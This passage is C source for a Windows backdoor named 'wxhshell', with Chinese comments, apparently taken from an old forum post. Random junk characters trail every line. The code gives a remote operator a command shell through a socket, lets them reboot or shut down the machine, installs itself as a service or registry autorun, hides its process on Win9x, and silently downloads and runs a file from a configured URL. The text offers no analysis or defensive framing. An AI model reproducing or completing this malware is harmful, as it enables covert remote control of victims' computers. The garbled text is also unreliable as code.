      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :NwFJc  
    break; XHuHbriI  
  } z*^vdi0  
  // 安装 viS7+E|O  
  case 'i': { )lx;u.$4  
    if(Install()) Q?m= a0g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y7R{6W_U>  
    else F+Hmp\rM#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %`dVX EO  
    break; Y#-pK)EeU  
    } U3>ES"N  
  // 卸载 kf",/?s2Z  
  case 'r': { H8qAj  
    if(Uninstall()) 3AuLRI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5&U?\YNLa  
    else $>l65)(E\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <M3&\  
    break; MIAC'_<-e  
    } gAGcbepX  
  // 显示 wxhshell 所在路径 zv\T;_  
  case 'p': { l(tMo7iPa  
    char svExeFile[MAX_PATH]; DoJ3zYEk  
    strcpy(svExeFile,"\n\r"); XlxB%  
      strcat(svExeFile,ExeFile); h4M>k{  
        send(wsh,svExeFile,strlen(svExeFile),0); R? ,XSJ  
    break; ;&RHc#1F  
    } /(A rA=#  
  // 重启 _H2%6t/V  
  case 'b': { 9[\$\l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %i9*2{e#~  
    if(Boot(REBOOT)) .TRp74  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \G]vTK3  
    else { qZ+^ND(I  
    closesocket(wsh); oJ}$ /_  
    ExitThread(0); /u'M7R  
    } dy0xz5N-  
    break; y"0! 7^  
    } q&k?$rn  
  // 关机 3)py|W%X $  
  case 'd': { Ba|76OBRJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $k3l[@;hE  
    if(Boot(SHUTDOWN)) -f[95Z3}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M}F) P&Y  
    else { #>\8m+h 9  
    closesocket(wsh); ..ht)Gex  
    ExitThread(0); p8u -3  
    } c f1GA  
    break; jJY!;f  
    } a s?)6  
  // 获取shell D~<0CQ3n.  
  case 's': { }%eXGdC  
    CmdShell(wsh); w w{07g  
    closesocket(wsh); Y)v_O_`  
    ExitThread(0); wd~!j&`a  
    break; '^6x-aeq[D  
  } SE!0f&  
  // 退出 *e-+~/9~  
  case 'x': { VbzW4J_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jyu*{  
    CloseIt(wsh); UzmD2A sO"  
    break; pSJc.j  
    } a<`s'N1G  
  // 离开 k39;7J  
  case 'q': { GSu&Z/Jo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s3l:ST  
    closesocket(wsh); 1{X ;&y  
    WSACleanup(); zINziAp{  
    exit(1); {B lM<  
    break; G^Yg[*bJ^$  
        } z@em1W0?Z  
  } 3DO ^vV  
  } Bl)DuCV  
}xM >F%  
  // 提示信息 p8MPn>h<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R~DZY{u+/$  
} 7vs>PV  
  } R k).D 6  
9AdA|/WV  
  return; g>O O '}lF  
} o}K!p %5_  
S+(-k0  
// shell模块句柄 j5>3Td.  
int CmdShell(SOCKET sock) 07L 1 "  
{ /"<o""<]  
STARTUPINFO si; zcNv T  
ZeroMemory(&si,sizeof(si)); ^h@1tFF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; : |?nz$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WwM/M!98J  
PROCESS_INFORMATION ProcessInfo; Ui`Z>,0sFi  
char cmdline[]="cmd"; ?N*|S)BN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r8E)GBH-|  
  return 0; /Z*XKIU6v/  
} g4 |s9RMD  
JH;\wfr D  
// 自身启动模式 6-<>P E2  
int StartFromService(void) 36U z fBa  
{ ?R}a,k  
typedef struct gjVKk  
{ )N4_SA  
  DWORD ExitStatus; J,k|_JO  
  DWORD PebBaseAddress; oopACE>  
  DWORD AffinityMask; g"iLhm` L  
  DWORD BasePriority; g0D(:_QXp:  
  ULONG UniqueProcessId; ,!s;o6|*y  
  ULONG InheritedFromUniqueProcessId; \We\*7^E  
}   PROCESS_BASIC_INFORMATION; 8 3wa{m:  
]%PQ3MT.  
PROCNTQSIP NtQueryInformationProcess; (E*eq-8  
4j'cXxo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $*`=sV!r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BM&.Tw|x  
@;we4G5  
  HANDLE             hProcess; Sp=6%3fZ]m  
  PROCESS_BASIC_INFORMATION pbi; [l2ds:  
gz?]]-H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1 f;k)x  
  if(NULL == hInst ) return 0; E$'Zd,|f=  
Sb&[V>!2^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #;32(II  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o7*z@R"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]HK|xO(  
2 R !1Vl  
  if (!NtQueryInformationProcess) return 0; RTW4r9~'  
:! h1S`wS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^Z{W1uYi  
  if(!hProcess) return 0; 0]c 2T  
s3*h=5bX=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W~J>Srt  
-4&SYCw  
  CloseHandle(hProcess); f"j"ZM{~U  
:i&ZMH,O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jcWv&u|  
if(hProcess==NULL) return 0; w{t2Oo6Q0+  
_BV'J92.  
HMODULE hMod; 9oK#n'hjb  
char procName[255]; =!b<@41  
unsigned long cbNeeded; G02(dj  
|[ tlR`A$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (C RY$+d  
S(c,Sinc  
  CloseHandle(hProcess); e[HP]$\   
Tk hu,  
if(strstr(procName,"services")) return 1; // 以服务启动 Su0[f/4m.Q  
$\|$ekil4  
  return 0; // 注册表启动 p1 9j  
} &!uN N|W  
rTiW&#  
// 主模块 4|Dxyb>pS  
int StartWxhshell(LPSTR lpCmdLine) Z)6gh{B08  
{ s!Xj'H7K  
  SOCKET wsl; U}55;4^LX  
BOOL val=TRUE; J?WT  
  int port=0; SEn-8ZF  
  struct sockaddr_in door; Rl7V~dUY  
+)#d+@-  
  if(wscfg.ws_autoins) Install(); P~V0<$C  
q^ {Xn-G  
port=atoi(lpCmdLine); pv.0!a/M  
=gCv`SFW  
if(port<=0) port=wscfg.ws_port; bY4~\cP.  
3d^zLL  
  WSADATA data; sD,[,6(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;~Ke5os=s  
*<yKT$(+_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mX)UoiXue  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vu DSjh  
  door.sin_family = AF_INET; Kf<-PA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X&1R6 O  
  door.sin_port = htons(port); -'FzH?q:  
.u3!%{/v(c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U5; D'G  
closesocket(wsl); OTA@4~{C  
return 1; 2jTP (b2b  
} 4#$~gTc@  
qm-G=EX  
  if(listen(wsl,2) == INVALID_SOCKET) { x[+t  
closesocket(wsl); #2thg{5  
return 1; Vx5ioA]{  
} _cqB p7  
  Wxhshell(wsl); 1us-ootsjP  
  WSACleanup(); yIBT*,4  
c}a.  
return 0; 3%?01$k  
%(GWR@mfC  
} ?\dY!  
?lJm}0>  
// 以NT服务方式启动 KLW#+vZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) seh1(q?Va4  
{  pei-R  
DWORD   status = 0; MS,J+'2  
  DWORD   specificError = 0xfffffff; @B;2z_Y!l  
Bb^CukS:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C0o 0 l>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <0OZ9?,dm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >=|Dir  
  serviceStatus.dwWin32ExitCode     = 0; 6Y^UC2TBs  
  serviceStatus.dwServiceSpecificExitCode = 0; }Yt/e-Yg%r  
  serviceStatus.dwCheckPoint       = 0; *{t{/^'y  
  serviceStatus.dwWaitHint       = 0; =v-BzF15  
C%LRb{|d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gVM9*3LH6  
  if (hServiceStatusHandle==0) return; zY\pZG  
1ID0'j$  
status = GetLastError(); 7mipj]  
  if (status!=NO_ERROR) ]sBSLEie '  
{ c:0nOP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ) -+u8#  
    serviceStatus.dwCheckPoint       = 0; {_0m0 8  
    serviceStatus.dwWaitHint       = 0; H#IJ&w|  
    serviceStatus.dwWin32ExitCode     = status; zc&>RM  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8A{n9>jrb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .CI { g2  
    return; q@K;u[zFK  
  } D"^4X'6  
b4GD}kR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %xtTh]s  
  serviceStatus.dwCheckPoint       = 0; a?bSMt}  
  serviceStatus.dwWaitHint       = 0; }W{rDc kv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0|g|k7c{rF  
} GAONgz|ZI  
FA-"" ]  
// 处理NT服务事件,比如:启动、停止 ZUJ !  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t]|WRQvy8  
{ |~b.rKQt[  
switch(fdwControl) 1Wd?AyTY,  
{ USLG G}R  
case SERVICE_CONTROL_STOP: okfGd= &  
  serviceStatus.dwWin32ExitCode = 0; }J27Y ;Zp9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { -*+G]  
  serviceStatus.dwCheckPoint   = 0; (Zi(6 T\z  
  serviceStatus.dwWaitHint     = 0; 8?ldD  
  { q_eGY&M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S(kj"t*3  
  } \ .+.VK  
  return; N|[P%WM3  
case SERVICE_CONTROL_PAUSE: Kh<xQ:eMy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4 G`7]<  
  break; Ws"eF0,'Z  
case SERVICE_CONTROL_CONTINUE:  gBQK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =e'b*KTL,  
  break; GxWA=Xp^~G  
case SERVICE_CONTROL_INTERROGATE: W]kh?+SZ  
  break; FB {4& ;  
}; KI~BjP\e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QAYhAOS|e  
} pI2g\cH>  
LaL.C^K  
// 标准应用程序主函数 o7"2"( =>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mJT<  
{ ?bwF$Ku  
O,(p><k$/  
// 获取操作系统版本 Ox;q +5  
OsIsNt=GetOsVer(); %[(DFutJY+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <rd7<@>5D  
i$HA@S  
  // 从命令行安装 P6,~0v(S  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~|+! xh  
}LLnJl~Z  
  // 下载执行文件 b0 ))->&2  
if(wscfg.ws_downexe) { NZ:A?h2JR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `6:;*#jO,  
  WinExec(wscfg.ws_filenam,SW_HIDE); FSZQ2*n5  
} 7Io]2)V  
x ;V7D5 q  
if(!OsIsNt) { fx@Hd!nO~"  
// 如果时win9x,隐藏进程并且设置为注册表启动 P$z8TDCH  
HideProc(); \a]JH\T)Q  
StartWxhshell(lpCmdLine); bl. y4  
} eekp&H$'s  
else .a._WZF  
  if(StartFromService()) ^E_`M:~  
  // 以服务方式启动 xBH`=e <  
  StartServiceCtrlDispatcher(DispatchTable); =ML6"jr  
else ?n o.hf  
  // 普通方式启动 19a/E1  
  StartWxhshell(lpCmdLine); 2Qg.b- C  
Vy-N3L  
return 0; '^f,H1oW  
}
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只看该作者 1 发表于: 2006-10-10
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